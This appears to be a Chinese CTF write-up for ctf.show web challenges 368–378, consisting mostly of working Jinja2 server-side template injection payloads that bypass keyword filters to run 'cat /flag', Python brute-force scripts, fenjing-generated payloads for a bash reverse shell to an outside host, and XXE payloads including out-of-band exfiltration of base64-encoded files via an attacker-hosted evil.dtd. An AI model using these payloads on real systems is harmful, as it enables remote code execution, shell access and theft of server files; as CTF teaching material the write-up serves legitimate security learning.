/?name={{(x|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3))(request.values.x4).eval(request.values.x5)}}&x1=__init__&x2=__globals__&x3=__getitem__&x4=__builtins__&x5=__import__('os').popen('cat /flag').read()

/?name={{(lipsum|attr(request.values.x1)).get(request.values.x2).popen(request.values.x3).read()}}&x2=os&x3=cat /flag&x1=__globals__

web368

过滤了{{}}

方法1

可以直接用{%%}print

/?name={%print((x|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3))(request.values.x4).eval(request.values.x5))%}&x1=__init__&x2=__globals__&x3=__getitem__&x4=__builtins__&x5=__import__('os').popen('cat /flag').read()

方法2

不用print,直接盲注

import requests
import urllib
import time

url = 'http://36f667b8-3e4a-4639-ba96-cff20a8e3c86.challenge.ctf.show/'
alp = 'abcdefghijklmnopqrstuvwxyz0123456789-}{'

flag = ''
for i in range(1,100):
for j in alp:
# time.sleep(0.1)
payload = "{% set flag = (x|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3))(request.values.x4).eval(request.values.x5)%}{% if flag == request.values.x6%}evo1ution{%endif%}"
params = {
'name': payload,
'x1': '__init__',
'x2': '__globals__',
'x3': '__getitem__',
'x4': '__builtins__',
'x5': "__import__('os').popen('cat /flag').read({})".format(i),
'x6': "{}".format(flag+j)
}

response = requests.get(url,params=params)
if 'evo1ution' in response.text:
flag += j
print(flag)
if j == '}':
exit()
break

# ctfshow{8ff9262c-1994-4916-abaf-e24871b2d07a}

web369

过滤了request

方法1

字符拼接

想使用{%print((lipsum|attr('__globals__')).get('os').popen('cat /flag').read())%},所以用下面的脚本拼接出__globals__oscat /flag

import requests
import urllib
import time
import re

url = 'http://478231cf-6cd6-4958-84fd-f3de3b022397.challenge.ctf.show/'
# target = "__globals__" # (config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
# target = "os" # (config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()
target = "cat /flag" # (config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()

flag = ''
for i in target:
for j in range(917):
# time.sleep(0.1)
payload = "{{%print((config|string|list).pop({}).lower())%}}".format(j)
params = {
'name': payload,
}
response = requests.get(url,params=params)
s = re.findall(r'<h3>(.*)</h3>',response.text)[0]
# print(j,"==>",s)
if i == s:
flag += "(config|string|list).pop({}).lower()~".format(j)
# print(flag)
break
print(flag[:-1])

用得到的字符构造出最后的payload

/?name={%print((lipsum|attr(((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()))).get(((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower())).popen(((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower())).read())%}

得到替换的字符串也可以先执行下

/?name={%print(config|string|list|lower)%}

把得到的列表放到l里面即可

import requests
import urllib
import time
import re

# target = "__globals__" # (config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
# target = "os" # (config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()
target = "cat /flag" # (config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()
l =

flag = ''
for i in target:
for j in range(len(l)):
if i == l[j]:
flag += "(config|string|list).pop({}).lower()~".format(j)
# print(flag)
break
print(flag[:-1])

方法2

替换字符,用join一步步构造出来,最终payload如下

?name={%set a=(config|string|list).pop(74)%}{%set globals=(a,a,dict(globals=1)|join,a,a)|join%}{%set init=(a,a,dict(init=1)|join,a,a)|join%}{%set builtins=(a,a,dict(builtins=1)|join,a,a)|join%}{%set a=(lipsum|attr(globals)).get(builtins)%}{%set chr=a.chr%}{%print(a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read())%}

详细解释下

{%set a=(config|string|list).pop(74)%}  获得 _

{%set globals=(a,a,dict(globals=1)|join,a,a)|join%} 获得__globals__

{%set init=(a,a,dict(init=1)|join,a,a)|join%} 获得__init__

{%set builtins=(a,a,dict(builtins=1)|join,a,a)|join%} 获得__builtins__

{%set a=(lipsum|attr(globals)).get(builtins)%} 获得lipsum.__globals__['__builtins__']

{%set chr=a.chr%} 获得chr

{%print(a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read())%}
获得lipsum.__globals__['__builtins__'].open('/flag').read()

web370

过滤了数字

/?name={%set nummm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set x=(()|select|string|list).pop(num)%}{%set o=dict(o=a,s=b)|join%}{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}{%set builtins=(x,x,dict(builtins=a)|join,x,x)|join%}{%set c=dict(chr=a)|join%}{%set chr=((lipsum|attr(glob)).get(builtins)).get(c)%}{%set cmd=chr(numm)~dict(flag=a)|join%}
{%set cmd=dict(cat=a)|join~chr(nummm)~chr(numm)~dict(flag=a)|join%}{%print((lipsum|attr(glob)).get(o).popen(cmd).read())%}

解释下

{%set nummm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} #32

{%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} #47

{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} #24

{%set x=(()|select|string|list).pop(num)%} 获得_

{%set o=dict(o=a,s=b)|join%} 获得os

{%set glob = (x,x,dict(globals=a)|join,x,x)|join %} 获得__globals__

{%set builtins=(x,x,dict(builtins=a)|join,x,x)|join%} 获得__builtins__

{%set c=dict(chr=a)|join%} 获得字符串chr

{%set chr=((lipsum|attr(glob)).get(builtins)).get(c)%} 获得chr

{%set cmd=chr(numm)~dict(flag=a)|join%} 获得/flag

{%set cmd=dict(cat=a)|join~chr(nummm)~chr(numm)~dict(flag=a)|join%} 获得cat /flag

{%print((lipsum|attr(glob)).get(o).popen(cmd).read())%}

web371

过滤了print,直接反弹shell,payload生成思路和前一题一样,这里介绍一个库fenjing,前面的所有题目也可以用这个

from fenjing import exec_cmd_payload

import functools
import time
import logging
import urllib

logging.basicConfig(level = logging.WARNING)

def waf(s: str):
blacklist = ["'","\"","[","]","_","os","{{","}}","request","0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "print"]

for word in blacklist:
if word in s:
return False
return True

#这个结果记得要url编码一下
payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
# payload, _ = exec_cmd_payload(waf, "cat /flag")

# print(payload)
print(urllib.parse.quote(payload))

web372

又过滤了count,不过没关系,fenjing继续一把梭

from fenjing import exec_cmd_payload

import functools
import time
import logging
import urllib

logging.basicConfig(level = logging.WARNING)

def waf(s: str):
blacklist = ["'","\"","[","]","_","os","{{","}}","request","0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "print","count"]

for word in blacklist:
if word in s:
return False
return True

#这个结果记得要url编码一下
payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
# payload, _ = exec_cmd_payload(waf, "cat /flag")

# print(payload)
print(urllib.parse.quote(payload))

要想手动试一试的话可以使用length来代替count,用全角数字代替半角数字

具体可以看下这个博客

XXE

web373

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);

输出的是ctfshow

<?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE evo1 [
<!ENTITY flag SYSTEM "file:///flag">
]>
<evo1>
<ctfshow>&flag;</ctfshow>
</evo1>

web374

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

没回显,把信息发送到自己的vps

首先是evil.dtd

<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://your-ip:your-port/?flag=%file;'> ">
%dtd;
%xxe;

然后是payload

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://ip:port/evil.dtd">
%aaa;
]>
<xxe>1</xxe>

web375

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

过滤了<\?xml version="1\.0",还是可以用上一关payload

web376

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

增添了大小写过滤,还是可以用web374payload

web377

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

在原来的基础上又过滤了http,设定一个特殊的编码方式(例:UTF-16)转换一下来绕过

import requests

url = "http://bc5a33d7-d201-47cb-9ca8-65de9691bd9f.challenge.ctf.show/"
data = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://ip:port/evil.dtd">
%aaa;
]>
<xxe>1</xxe>
"""
requests.post(url ,data=data.encode('utf-16'))

原来evil.dtd内容不用变

web378

登录抓包发现回显username字段,直接构造

<?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE evo1 [
<!ENTITY flag SYSTEM "file:///flag">
]>
<evo1>
<username>&flag;</username>
</evo1>